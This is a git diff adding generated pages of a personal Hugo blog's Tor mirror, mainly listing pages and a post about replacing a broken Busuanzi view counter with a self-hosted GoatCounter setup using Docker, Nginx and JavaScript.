    + + + + + + + + + diff --git a/public-onion/posts/new_features.asc b/public-onion/posts/new_features.asc new file mode 100644 index 0000000..5ae2669 --- /dev/null +++ b/public-onion/posts/new_features.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qmMMP/jQAYhfTYlR434YgynP7WOjB +JGoHawhhtGWqCIjhpoems0F3PKwC6Amx+6ddHwNZbtOUHUQMS2WEqwTudApV+GSu +h50G8+C8PEyvSEPkkeXusSUTVR1S54j4Fdi1Up64TJoAoWpxX1pSz5Lm0mkjG1UJ +ztdRZqNEjyNKz9wziX9XBD5kt3Ejb1kJQ9fRuwdYfOYi//2iOgIwZmA+WHZoFi6N +SSwXP01MGqV5CnULFat5piTR0Wbz7lrNQyTFEcRXG+hFKsS6JP9e/8uDMHB7Y7pw +sUR/J4IOPNrZGivsIcKnDhtEB7bKEqUbth1osQLSgfS4HAJSKl7Z8IfRa1hwkr9q +80DQcDBnhT0a8xV5tlQreY2VAO7iBsw3yli6ZGqaRVbOpX3BqZ7Evo8iFSNo7YLz +uxzMy8jvgstG12C4Uy7/bxVIk47BWxQHmAufnd+6IbcANXelSPUzZB7zPLBquSBa +dLRnwukpSpoSvVnD0CxLPAKHMgZqWR5CQTksjbGF/7hZgfJBDACqeAQPBBczAWXH +L5ij+fzUAlzuloxtAnV5t1gpEbNCfB2olyBc7Ii3u0wHnYKwOMIzk5dx4q+U5XTQ +Y/klclFuNguXly/G4smOwCXvLTqlF2xgpR9jl8fMVEI7wum8k0skBNqV8KwTUONW +9fVBzCiojoS/ctK2bick +=HCVL +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/page/1/index.html b/public-onion/posts/page/1/index.html new file mode 100644 index 0000000..a96915d --- /dev/null +++ b/public-onion/posts/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/ + + + + + + diff --git a/public-onion/posts/page/2/index.html b/public-onion/posts/page/2/index.html new file mode 100644 index 0000000..e927536 --- /dev/null +++ b/public-onion/posts/page/2/index.html @@ -0,0 +1,570 @@ + + + + + + + +Posts | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    The Loop of Doom +

    +
    +
    +

    It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting. +...

    +
    +
    November 7, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Cupid is so dumb +

    +
    +
    +

    The lyrics are being played in my brain day and night. +“A hopeless romantic all my life” +“Surrounded by couples all the time” +“I guess I should take it as a sign” +But… “I gave a second chance to Cupid” +“But now I’m left here feelin’ stupid” +I might’ve given more than two chances to cupid. +But I’m still left here felling’ stupid. +“I look for his arrows every day” +...

    +
    +
    November 4, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    La Plaza: The Falcones & the Morettis +

    +
    +
    +

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    +
    +
    October 25, 2025 · 13 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Sadness +

    +
    +
    +

    Honestly, I don’t know why I’m doing any of this. I really don’t. I think for me this is a scape from reality. A scape from the sad thing that happened earlier this month. A scape from feeling used, or let’s say abused if you will, and then thrown away. Just like a piece of trash. It’s been hurting more and more. I’ve been lying to myself that I don’t care. That I’ve moved on. +...

    +
    +
    October 24, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Danya +

    +
    +
    +

    Daniel Naroditsky has passed away. I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it. +The occasion is grim. However, let’s remember the immense pressure he was under. Let’s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru! +...

    +
    +
    October 21, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Skin routine +

    +
    +
    +

    I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did! +Generally speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice! +...

    +
    +
    October 20, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/posts/page/3/index.html b/public-onion/posts/page/3/index.html new file mode 100644 index 0000000..8b52ce1 --- /dev/null +++ b/public-onion/posts/page/3/index.html @@ -0,0 +1,578 @@ + + + + + + + +Posts | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie review: Scent of a Woman +

    +
    +
    +

    I’m not a big movie watcher. In fact, I don’t remember the last time I watched a whole movie in a single day. It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so. +...

    +
    +
    October 13, 2025 · 5 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Hobbies +

    +
    +
    +

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies. +For some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. +...

    +
    +
    October 10, 2025 · 12 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Relationships +

    +
    +
    +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. +So… do you also think you’re a lover boy, kind, nice person? So do I! I think I’m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. +...

    +
    +
    October 5, 2025 · 11 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Hello World +

    +
    +
    +

    This is a test hello world post just to make sure everything works! +Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc 62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt 7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT 6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= =kuAP -----END PGP SIGNATURE----- Verify locally: +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc gpg --verify hello-world.md.asc hello-world.md

    +
    +
    August 25, 2025 · 1 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/posts/papermod-views-debugging-story/index.html b/public-onion/posts/papermod-views-debugging-story/index.html new file mode 100644 index 0000000..cd97c36 --- /dev/null +++ b/public-onion/posts/papermod-views-debugging-story/index.html @@ -0,0 +1,863 @@ + + + + + + + +A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    + +
    +

    I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
